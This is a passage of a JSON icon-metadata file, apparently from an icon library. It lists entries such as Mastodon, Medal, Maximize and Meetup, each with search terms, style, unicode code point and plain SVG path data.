        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M74.6 373.2c41.7 36.1 108 82.5 166.1 73.7c6.1-.9 12.1-2.5 18-4.5c-9.2-12.3-17.3-24.4-24.2-35.4c-21.9-35-28.8-75.2-25.9-113.6c-20.6 4.1-39.2 13-54.7 25.4c-6.5 5.2-16.3 1.3-14.8-7c6.4-33.5 33-60.9 68.2-66.3c2.6-.4 5.3-.7 7.9-.8l19.4-131.3c2-13.8 8-32.7 25-45.9C278.2 53.2 310.5 37 363.2 32.2c-.8-.7-1.6-1.4-2.4-2.1C340.6 14.5 288.4-11.5 175.7 5.6S20.5 63 5.7 83.9C0 91.9-.8 102 .6 111.8L24.8 276.1c5.5 37.3 21.5 72.6 49.8 97.2zm87.7-219.6c4.4-3.1 10.8-2 11.8 3.3c.1 .5 .2 1.1 .3 1.6c3.2 21.8-11.6 42-33.1 45.3s-41.5-11.8-44.7-33.5c-.1-.5-.1-1.1-.2-1.6c-.6-5.4 5.2-8.4 10.3-6.7c9 3 18.8 3.9 28.7 2.4s19.1-5.3 26.8-10.8zM261.6 390c29.4 46.9 79.5 110.9 137.6 119.7s124.5-37.5 166.1-73.7c28.3-24.5 44.3-59.8 49.8-97.2l24.2-164.3c1.4-9.8 .6-19.9-5.1-27.9c-14.8-20.9-57.3-61.2-170-78.3S299.4 77.2 279.2 92.8c-7.8 6-11.5 15.4-12.9 25.2L242.1 282.3c-5.5 37.3-.4 75.8 19.6 107.7zM404.5 235.3c-7.7-5.5-16.8-9.3-26.8-10.8s-19.8-.6-28.7 2.4c-5.1 1.7-10.9-1.3-10.3-6.7c.1-.5 .1-1.1 .2-1.6c3.2-21.8 23.2-36.8 44.7-33.5s36.3 23.5 33.1 45.3c-.1 .5-.2 1.1-.3 1.6c-1 5.3-7.4 6.4-11.8 3.3zm136.2 15.5c-1 5.3-7.4 6.4-11.8 3.3c-7.7-5.5-16.8-9.3-26.8-10.8s-19.8-.6-28.7 2.4c-5.1 1.7-10.9-1.3-10.3-6.7c.1-.5 .1-1.1 .2-1.6c3.2-21.8 23.2-36.8 44.7-33.5s36.3 23.5 33.1 45.3c-.1 .5-.2 1.1-.3 1.6zM530 350.2c-19.6 44.7-66.8 72.5-116.8 64.9s-87.1-48.2-93-96.7c-1-8.3 8.9-12.1 15.2-6.7c23.9 20.8 53.6 35.3 87 40.3s66.1 .1 94.9-12.8c7.6-3.4 16 3.2 12.6 10.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M74.6 373.2c41.7 36.1 108 82.5 166.1 73.7c6.1-.9 12.1-2.5 18-4.5c-9.2-12.3-17.3-24.4-24.2-35.4c-21.9-35-28.8-75.2-25.9-113.6c-20.6 4.1-39.2 13-54.7 25.4c-6.5 5.2-16.3 1.3-14.8-7c6.4-33.5 33-60.9 68.2-66.3c2.6-.4 5.3-.7 7.9-.8l19.4-131.3c2-13.8 8-32.7 25-45.9C278.2 53.2 310.5 37 363.2 32.2c-.8-.7-1.6-1.4-2.4-2.1C340.6 14.5 288.4-11.5 175.7 5.6S20.5 63 5.7 83.9C0 91.9-.8 102 .6 111.8L24.8 276.1c5.5 37.3 21.5 72.6 49.8 97.2zm87.7-219.6c4.4-3.1 10.8-2 11.8 3.3c.1 .5 .2 1.1 .3 1.6c3.2 21.8-11.6 42-33.1 45.3s-41.5-11.8-44.7-33.5c-.1-.5-.1-1.1-.2-1.6c-.6-5.4 5.2-8.4 10.3-6.7c9 3 18.8 3.9 28.7 2.4s19.1-5.3 26.8-10.8zM261.6 390c29.4 46.9 79.5 110.9 137.6 119.7s124.5-37.5 166.1-73.7c28.3-24.5 44.3-59.8 49.8-97.2l24.2-164.3c1.4-9.8 .6-19.9-5.1-27.9c-14.8-20.9-57.3-61.2-170-78.3S299.4 77.2 279.2 92.8c-7.8 6-11.5 15.4-12.9 25.2L242.1 282.3c-5.5 37.3-.4 75.8 19.6 107.7zM404.5 235.3c-7.7-5.5-16.8-9.3-26.8-10.8s-19.8-.6-28.7 2.4c-5.1 1.7-10.9-1.3-10.3-6.7c.1-.5 .1-1.1 .2-1.6c3.2-21.8 23.2-36.8 44.7-33.5s36.3 23.5 33.1 45.3c-.1 .5-.2 1.1-.3 1.6c-1 5.3-7.4 6.4-11.8 3.3zm136.2 15.5c-1 5.3-7.4 6.4-11.8 3.3c-7.7-5.5-16.8-9.3-26.8-10.8s-19.8-.6-28.7 2.4c-5.1 1.7-10.9-1.3-10.3-6.7c.1-.5 .1-1.1 .2-1.6c3.2-21.8 23.2-36.8 44.7-33.5s36.3 23.5 33.1 45.3c-.1 .5-.2 1.1-.3 1.6zM530 350.2c-19.6 44.7-66.8 72.5-116.8 64.9s-87.1-48.2-93-96.7c-1-8.3 8.9-12.1 15.2-6.7c23.9 20.8 53.6 35.3 87 40.3s66.1 .1 94.9-12.8c7.6-3.4 16 3.2 12.6 10.9z"
      }
    },
    "free": ["solid"]
  },
  "mastodon": {
    "changes": ["5.0.11", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f6",
    "label": "Mastodon",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"
      }
    },
    "free": ["brands"]
  },
  "mattress-pillow": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["air mattress", "mattress", "pillow", "rest", "sleep"]
    },
    "styles": ["solid"],
    "unicode": "e525",
    "label": "Mattress Pillow",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 64H64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H256V64zm32 384H576c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H288V448zM64 160c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 64H64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H256V64zm32 384H576c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H288V448zM64 160c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V160z"
      }
    },
    "free": ["solid"]
  },
  "maxcdn": {
    "changes": ["3.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f136",
    "label": "MaxCDN",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M461.1 442.7h-97.4L415.6 200c2.3-10.2.9-19.5-4.4-25.7-5-6.1-13.7-9.6-24.2-9.6h-49.3l-59.5 278h-97.4l59.5-278h-83.4l-59.5 278H0l59.5-278-44.6-95.4H387c39.4 0 75.3 16.3 98.3 44.9 23.3 28.6 31.8 67.4 23.6 105.9l-47.8 222.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M461.1 442.7h-97.4L415.6 200c2.3-10.2.9-19.5-4.4-25.7-5-6.1-13.7-9.6-24.2-9.6h-49.3l-59.5 278h-97.4l59.5-278h-83.4l-59.5 278H0l59.5-278-44.6-95.4H387c39.4 0 75.3 16.3 98.3 44.9 23.3 28.6 31.8 67.4 23.6 105.9l-47.8 222.6z"
      }
    },
    "free": ["brands"]
  },
  "maximize": {
    "aliases": {
      "names": ["expand-arrows-alt"],
      "unicodes": {
        "secondary": ["10f31e"]
      }
    },
    "changes": ["5.0.0", "5.8.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bigger", "enlarge", "fullscreen", "move", "resize"]
    },
    "styles": ["solid"],
    "unicode": "f31e",
    "label": "Maximize",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M200 32H56C42.7 32 32 42.7 32 56V200c0 9.7 5.8 18.5 14.8 22.2s19.3 1.7 26.2-5.2l40-40 79 79-79 79L73 295c-6.9-6.9-17.2-8.9-26.2-5.2S32 302.3 32 312V456c0 13.3 10.7 24 24 24H200c9.7 0 18.5-5.8 22.2-14.8s1.7-19.3-5.2-26.2l-40-40 79-79 79 79-40 40c-6.9 6.9-8.9 17.2-5.2 26.2s12.5 14.8 22.2 14.8H456c13.3 0 24-10.7 24-24V312c0-9.7-5.8-18.5-14.8-22.2s-19.3-1.7-26.2 5.2l-40 40-79-79 79-79 40 40c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V56c0-13.3-10.7-24-24-24H312c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l40 40-79 79-79-79 40-40c6.9-6.9 8.9-17.2 5.2-26.2S209.7 32 200 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M200 32H56C42.7 32 32 42.7 32 56V200c0 9.7 5.8 18.5 14.8 22.2s19.3 1.7 26.2-5.2l40-40 79 79-79 79L73 295c-6.9-6.9-17.2-8.9-26.2-5.2S32 302.3 32 312V456c0 13.3 10.7 24 24 24H200c9.7 0 18.5-5.8 22.2-14.8s1.7-19.3-5.2-26.2l-40-40 79-79 79 79-40 40c-6.9 6.9-8.9 17.2-5.2 26.2s12.5 14.8 22.2 14.8H456c13.3 0 24-10.7 24-24V312c0-9.7-5.8-18.5-14.8-22.2s-19.3-1.7-26.2 5.2l-40 40-79-79 79-79 40 40c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V56c0-13.3-10.7-24-24-24H312c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l40 40-79 79-79-79 40-40c6.9-6.9 8.9-17.2 5.2-26.2S209.7 32 200 32z"
      }
    },
    "free": ["solid"]
  },
  "mdb": {
    "changes": ["5.11.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f8ca",
    "label": "Material Design for Bootstrap",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M17.37 160.41L7 352h43.91l5.59-79.83L84.43 352h44.71l25.54-77.43 4.79 77.43H205l-12.79-191.59H146.7L106 277.74 63.67 160.41zm281 0h-47.9V352h47.9s95 .8 94.2-95.79c-.78-94.21-94.18-95.78-94.18-95.78zm-1.2 146.46V204.78s46 4.27 46.8 50.57-46.78 51.54-46.78 51.54zm238.29-74.24a56.16 56.16 0 0 0 8-38.31c-5.34-35.76-55.08-34.32-55.08-34.32h-51.9v191.58H482s87 4.79 87-63.85c0-43.14-33.52-55.08-33.52-55.08zm-51.9-31.94s13.57-1.59 16 9.59c1.43 6.66-4 12-4 12h-12v-21.57zm-.1 109.46l.1-24.92V267h.08s41.58-4.73 41.19 22.43c-.33 25.65-41.35 20.74-41.35 20.74z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M17.37 160.41L7 352h43.91l5.59-79.83L84.43 352h44.71l25.54-77.43 4.79 77.43H205l-12.79-191.59H146.7L106 277.74 63.67 160.41zm281 0h-47.9V352h47.9s95 .8 94.2-95.79c-.78-94.21-94.18-95.78-94.18-95.78zm-1.2 146.46V204.78s46 4.27 46.8 50.57-46.78 51.54-46.78 51.54zm238.29-74.24a56.16 56.16 0 0 0 8-38.31c-5.34-35.76-55.08-34.32-55.08-34.32h-51.9v191.58H482s87 4.79 87-63.85c0-43.14-33.52-55.08-33.52-55.08zm-51.9-31.94s13.57-1.59 16 9.59c1.43 6.66-4 12-4 12h-12v-21.57zm-.1 109.46l.1-24.92V267h.08s41.58-4.73 41.19 22.43c-.33 25.65-41.35 20.74-41.35 20.74z"
      }
    },
    "free": ["brands"]
  },
  "medal": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3c5"],
        "secondary": ["10f5a2"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["award", "medal", "ribbon", "sports medal", "star", "trophy"]
    },
    "styles": ["solid"],
    "unicode": "f5a2",
    "label": "Medal",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M4.1 38.2C1.4 34.2 0 29.4 0 24.6C0 11 11 0 24.6 0H133.9c11.2 0 21.7 5.9 27.4 15.5l68.5 114.1c-48.2 6.1-91.3 28.6-123.4 61.9L4.1 38.2zm503.7 0L405.6 191.5c-32.1-33.3-75.2-55.8-123.4-61.9L350.7 15.5C356.5 5.9 366.9 0 378.1 0H487.4C501 0 512 11 512 24.6c0 4.8-1.4 9.6-4.1 13.6zM80 336a176 176 0 1 1 352 0A176 176 0 1 1 80 336zm184.4-94.9c-3.4-7-13.3-7-16.8 0l-22.4 45.4c-1.4 2.8-4 4.7-7 5.1L168 298.9c-7.7 1.1-10.7 10.5-5.2 16l36.3 35.4c2.2 2.2 3.2 5.2 2.7 8.3l-8.6 49.9c-1.3 7.6 6.7 13.5 13.6 9.9l44.8-23.6c2.7-1.4 6-1.4 8.7 0l44.8 23.6c6.9 3.6 14.9-2.2 13.6-9.9l-8.6-49.9c-.5-3 .5-6.1 2.7-8.3l36.3-35.4c5.6-5.4 2.5-14.8-5.2-16l-50.1-7.3c-3-.4-5.7-2.4-7-5.1l-22.4-45.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M4.1 38.2C1.4 34.2 0 29.4 0 24.6C0 11 11 0 24.6 0H133.9c11.2 0 21.7 5.9 27.4 15.5l68.5 114.1c-48.2 6.1-91.3 28.6-123.4 61.9L4.1 38.2zm503.7 0L405.6 191.5c-32.1-33.3-75.2-55.8-123.4-61.9L350.7 15.5C356.5 5.9 366.9 0 378.1 0H487.4C501 0 512 11 512 24.6c0 4.8-1.4 9.6-4.1 13.6zM80 336a176 176 0 1 1 352 0A176 176 0 1 1 80 336zm184.4-94.9c-3.4-7-13.3-7-16.8 0l-22.4 45.4c-1.4 2.8-4 4.7-7 5.1L168 298.9c-7.7 1.1-10.7 10.5-5.2 16l36.3 35.4c2.2 2.2 3.2 5.2 2.7 8.3l-8.6 49.9c-1.3 7.6 6.7 13.5 13.6 9.9l44.8-23.6c2.7-1.4 6-1.4 8.7 0l44.8 23.6c6.9 3.6 14.9-2.2 13.6-9.9l-8.6-49.9c-.5-3 .5-6.1 2.7-8.3l36.3-35.4c5.6-5.4 2.5-14.8-5.2-16l-50.1-7.3c-3-.4-5.7-2.4-7-5.1l-22.4-45.4z"
      }
    },
    "free": ["solid"]
  },
  "medapps": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3c6",
    "label": "MedApps",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M118.3 238.4c3.5-12.5 6.9-33.6 13.2-33.6 8.3 1.8 9.6 23.4 18.6 36.6 4.6-23.5 5.3-85.1 14.1-86.7 9-.7 19.7 66.5 22 77.5 9.9 4.1 48.9 6.6 48.9 6.6 1.9 7.3-24 7.6-40 7.8-4.6 14.8-5.4 27.7-11.4 28-4.7.2-8.2-28.8-17.5-49.6l-9.4 65.5c-4.4 13-15.5-22.5-21.9-39.3-3.3-.1-62.4-1.6-47.6-7.8l31-5zM228 448c21.2 0 21.2-32 0-32H92c-21.2 0-21.2 32 0 32h136zm-24 64c21.2 0 21.2-32 0-32h-88c-21.2 0-21.2 32 0 32h88zm34.2-141.5c3.2-18.9 5.2-36.4 11.9-48.8 7.9-14.7 16.1-28.1 24-41 24.6-40.4 45.9-75.2 45.9-125.5C320 69.6 248.2 0 160 0S0 69.6 0 155.2c0 50.2 21.3 85.1 45.9 125.5 7.9 12.9 16 26.3 24 41 6.7 12.5 8.7 29.8 11.9 48.9 3.5 21 36.1 15.7 32.6-5.1-3.6-21.7-5.6-40.7-15.3-58.6C66.5 246.5 33 211.3 33 155.2 33 87.3 90 32 160 32s127 55.3 127 123.2c0 56.1-33.5 91.3-66.1 151.6-9.7 18-11.7 37.4-15.3 58.6-3.4 20.6 29 26.4 32.6 5.1z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M118.3 238.4c3.5-12.5 6.9-33.6 13.2-33.6 8.3 1.8 9.6 23.4 18.6 36.6 4.6-23.5 5.3-85.1 14.1-86.7 9-.7 19.7 66.5 22 77.5 9.9 4.1 48.9 6.6 48.9 6.6 1.9 7.3-24 7.6-40 7.8-4.6 14.8-5.4 27.7-11.4 28-4.7.2-8.2-28.8-17.5-49.6l-9.4 65.5c-4.4 13-15.5-22.5-21.9-39.3-3.3-.1-62.4-1.6-47.6-7.8l31-5zM228 448c21.2 0 21.2-32 0-32H92c-21.2 0-21.2 32 0 32h136zm-24 64c21.2 0 21.2-32 0-32h-88c-21.2 0-21.2 32 0 32h88zm34.2-141.5c3.2-18.9 5.2-36.4 11.9-48.8 7.9-14.7 16.1-28.1 24-41 24.6-40.4 45.9-75.2 45.9-125.5C320 69.6 248.2 0 160 0S0 69.6 0 155.2c0 50.2 21.3 85.1 45.9 125.5 7.9 12.9 16 26.3 24 41 6.7 12.5 8.7 29.8 11.9 48.9 3.5 21 36.1 15.7 32.6-5.1-3.6-21.7-5.6-40.7-15.3-58.6C66.5 246.5 33 211.3 33 155.2 33 87.3 90 32 160 32s127 55.3 127 123.2c0 56.1-33.5 91.3-66.1 151.6-9.7 18-11.7 37.4-15.3 58.6-3.4 20.6 29 26.4 32.6 5.1z"
      }
    },
    "free": ["brands"]
  },
  "medium": {
    "aliases": {
      "names": ["medium-m"],
      "unicodes": {
        "composite": ["f3c7"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f23a",
    "label": "Medium",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M180.5,74.262C80.813,74.262,0,155.633,0,256S80.819,437.738,180.5,437.738,361,356.373,361,256,280.191,74.262,180.5,74.262Zm288.25,10.646c-49.845,0-90.245,76.619-90.245,171.095s40.406,171.1,90.251,171.1,90.251-76.619,90.251-171.1H559C559,161.5,518.6,84.908,468.752,84.908Zm139.506,17.821c-17.526,0-31.735,68.628-31.735,153.274s14.2,153.274,31.735,153.274S640,340.631,640,256C640,171.351,625.785,102.729,608.258,102.729Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M180.5,74.262C80.813,74.262,0,155.633,0,256S80.819,437.738,180.5,437.738,361,356.373,361,256,280.191,74.262,180.5,74.262Zm288.25,10.646c-49.845,0-90.245,76.619-90.245,171.095s40.406,171.1,90.251,171.1,90.251-76.619,90.251-171.1H559C559,161.5,518.6,84.908,468.752,84.908Zm139.506,17.821c-17.526,0-31.735,68.628-31.735,153.274s14.2,153.274,31.735,153.274S640,340.631,640,256C640,171.351,625.785,102.729,608.258,102.729Z"
      }
    },
    "free": ["brands"]
  },
  "medrt": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3c8",
    "label": "MRT",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 544 512\"><path d=\"M113.7 256c0 121.8 83.9 222.8 193.5 241.1-18.7 4.5-38.2 6.9-58.2 6.9C111.4 504 0 393 0 256S111.4 8 248.9 8c20.1 0 39.6 2.4 58.2 6.9C197.5 33.2 113.7 134.2 113.7 256m297.4 100.3c-77.7 55.4-179.6 47.5-240.4-14.6 5.5 14.1 12.7 27.7 21.7 40.5 61.6 88.2 182.4 109.3 269.7 47 87.3-62.3 108.1-184.3 46.5-272.6-9-12.9-19.3-24.3-30.5-34.2 37.4 78.8 10.7 178.5-67 233.9m-218.8-244c-1.4 1-2.7 2.1-4 3.1 64.3-17.8 135.9 4 178.9 60.5 35.7 47 42.9 106.6 24.4 158 56.7-56.2 67.6-142.1 22.3-201.8-50-65.5-149.1-74.4-221.6-19.8M296 224c-4.4 0-8-3.6-8-8v-40c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v40c0 4.4-3.6 8-8 8h-40c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h40c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h40c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8h-40z\"/></svg>",
        "viewBox": [0, 0, 544, 512],
        "width": 544,
        "height": 512,
        "path": "M113.7 256c0 121.8 83.9 222.8 193.5 241.1-18.7 4.5-38.2 6.9-58.2 6.9C111.4 504 0 393 0 256S111.4 8 248.9 8c20.1 0 39.6 2.4 58.2 6.9C197.5 33.2 113.7 134.2 113.7 256m297.4 100.3c-77.7 55.4-179.6 47.5-240.4-14.6 5.5 14.1 12.7 27.7 21.7 40.5 61.6 88.2 182.4 109.3 269.7 47 87.3-62.3 108.1-184.3 46.5-272.6-9-12.9-19.3-24.3-30.5-34.2 37.4 78.8 10.7 178.5-67 233.9m-218.8-244c-1.4 1-2.7 2.1-4 3.1 64.3-17.8 135.9 4 178.9 60.5 35.7 47 42.9 106.6 24.4 158 56.7-56.2 67.6-142.1 22.3-201.8-50-65.5-149.1-74.4-221.6-19.8M296 224c-4.4 0-8-3.6-8-8v-40c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v40c0 4.4-3.6 8-8 8h-40c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h40c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h40c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8h-40z"
      }
    },
    "free": ["brands"]
  },
  "meetup": {
    "changes": ["4.7.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2e0",
    "label": "Meetup",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M99 414.3c1.1 5.7-2.3 11.1-8 12.3-5.4 1.1-10.9-2.3-12-8-1.1-5.4 2.3-11.1 7.7-12.3 5.4-1.2 11.1 2.3 12.3 8zm143.1 71.4c-6.3 4.6-8 13.4-3.7 20 4.6 6.6 13.4 8.3 20 3.7 6.3-4.6 8-13.4 3.4-20-4.2-6.5-13.1-8.3-19.7-3.7zm-86-462.3c6.3-1.4 10.3-7.7 8.9-14-1.1-6.6-7.4-10.6-13.7-9.1-6.3 1.4-10.3 7.7-9.1 14 1.4 6.6 7.6 10.6 13.9 9.1zM34.4 226.3c-10-6.9-23.7-4.3-30.6 6-6.9 10-4.3 24 5.7 30.9 10 7.1 23.7 4.6 30.6-5.7 6.9-10.4 4.3-24.1-5.7-31.2zm272-170.9c10.6-6.3 13.7-20 7.7-30.3-6.3-10.6-19.7-14-30-7.7s-13.7 20-7.4 30.6c6 10.3 19.4 13.7 29.7 7.4zm-191.1 58c7.7-5.4 9.4-16 4.3-23.7s-15.7-9.4-23.1-4.3c-7.7 5.4-9.4 16-4.3 23.7 5.1 7.8 15.6 9.5 23.1 4.3zm372.3 156c-7.4 1.7-12.3 9.1-10.6 16.9 1.4 7.4 8.9 12.3 16.3 10.6 7.4-1.4 12.3-8.9 10.6-16.6-1.5-7.4-8.9-12.3-16.3-10.9zm39.7-56.8c-1.1-5.7-6.6-9.1-12-8-5.7 1.1-9.1 6.9-8 12.6 1.1 5.4 6.6 9.1 12.3 8 5.4-1.5 9.1-6.9 7.7-12.6zM447 138.9c-8.6 6-10.6 17.7-4.9 26.3 5.7 8.6 17.4 10.6 26 4.9 8.3-6 10.3-17.7 4.6-26.3-5.7-8.7-17.4-10.9-25.7-4.9zm-6.3 139.4c26.3 43.1 15.1 100-26.3 129.1-17.4 12.3-37.1 17.7-56.9 17.1-12 47.1-69.4 64.6-105.1 32.6-1.1.9-2.6 1.7-3.7 2.9-39.1 27.1-92.3 17.4-119.4-22.3-9.7-14.3-14.6-30.6-15.1-46.9-65.4-10.9-90-94-41.1-139.7-28.3-46.9.6-107.4 53.4-114.9C151.6 70 234.1 38.6 290.1 82c67.4-22.3 136.3 29.4 130.9 101.1 41.1 12.6 52.8 66.9 19.7 95.2zm-70 74.3c-3.1-20.6-40.9-4.6-43.1-27.1-3.1-32 43.7-101.1 40-128-3.4-24-19.4-29.1-33.4-29.4-13.4-.3-16.9 2-21.4 4.6-2.9 1.7-6.6 4.9-11.7-.3-6.3-6-11.1-11.7-19.4-12.9-12.3-2-17.7 2-26.6 9.7-3.4 2.9-12 12.9-20 9.1-3.4-1.7-15.4-7.7-24-11.4-16.3-7.1-40 4.6-48.6 20-12.9 22.9-38 113.1-41.7 125.1-8.6 26.6 10.9 48.6 36.9 47.1 11.1-.6 18.3-4.6 25.4-17.4 4-7.4 41.7-107.7 44.6-112.6 2-3.4 8.9-8 14.6-5.1 5.7 3.1 6.9 9.4 6 15.1-1.1 9.7-28 70.9-28.9 77.7-3.4 22.9 26.9 26.6 38.6 4 3.7-7.1 45.7-92.6 49.4-98.3 4.3-6.3 7.4-8.3 11.7-8 3.1 0 8.3.9 7.1 10.9-1.4 9.4-35.1 72.3-38.9 87.7-4.6 20.6 6.6 41.4 24.9 50.6 11.4 5.7 62.5 15.7 58.5-11.1zm5.7 92.3c-10.3 7.4-12.9 22-5.7 32.6 7.1 10.6 21.4 13.1 32 6 10.6-7.4 13.1-22 6-32.6-7.4-10.6-21.7-13.5-32.3-6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
